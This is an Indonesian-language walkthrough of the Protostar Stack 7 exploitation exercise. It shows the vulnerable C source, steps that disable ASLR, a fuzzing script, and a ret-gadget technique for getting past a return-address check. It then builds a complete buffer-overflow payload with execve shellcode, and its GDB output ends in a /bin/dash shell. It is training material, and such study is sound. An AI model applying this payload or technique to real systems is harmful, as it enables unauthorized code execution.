Protostar Stack 7
Alat dan Bahan
- Binary: stack7
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Binary
Ambil binary dari VM Protostar.
$ scp [email protected]:/opt/protostar/bin/stack7 $PWD
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ checksec stack7
[*] '/../stack7'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ ./stack7
input path please: 1
got path 1
Program menerima input dari stdin
kemudian diproses melalui fungsi gets
yang vulnerable. Tujuan akhirnya adalah mendapatkan akses shell.
fsi.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh stack7
...
SEGMENTATION FAULT on 76 BUFFER
Ada proteksi canary sederhanan, sehingga shellcode tidak bisa dieksekusi dengan gadget 0xb0000000
. Agar shellcode bisa diekseksui maka gunakan teknik Return Oriented Programming (ROP).
ROP biasanya menggunakan gadget agar bisa pindah ke stack yang diinginkan. Untuk mendapatkan gadget bisa menggunakan GDB PEDA.
$ ROPgadget --binary stack7 | grep ret
0x08048362 : ret
Ada gadget ret
yang bisa digunakan untuk pindah alamat selanjutnya pada stack. Gadget tersebut bisa digunakan dengan desain payload ini, JUNK Buffer + GADGET Addr + SHELLCODE Addr + SHELLCODE Buffer
.
Alamat gadget ret ada pada 0x08048362
, selanjutnya gunakan offset sebesar 80 byte sebelum register IP untuk mencari alamat stack yang diawali dengan 0xb0
.
$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/p
Luaran GDB pada Protostar.
r < /tmp/p
Starting program: /opt/protostar/bin/stack7 < /tmp/p
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffca4: 0xdb31c031
Alamat yang diinginkan sudah ditemukan pada 0xbffffca4
, sekarang tinggal ditambahkan ke payload.
$ python -c "print 'A'*80 + '\x62\x83\x04\x08' + '\xa4\xfc\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/q
Luaran GDB pada Protostar.
(gdb) r < /tmp/q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack7 < /tmp/q
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAb�AAAAAAAAAAAAb�����1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Executing new program: /bin/dash
Akses shell /bin/dash
berhasil didapatkan.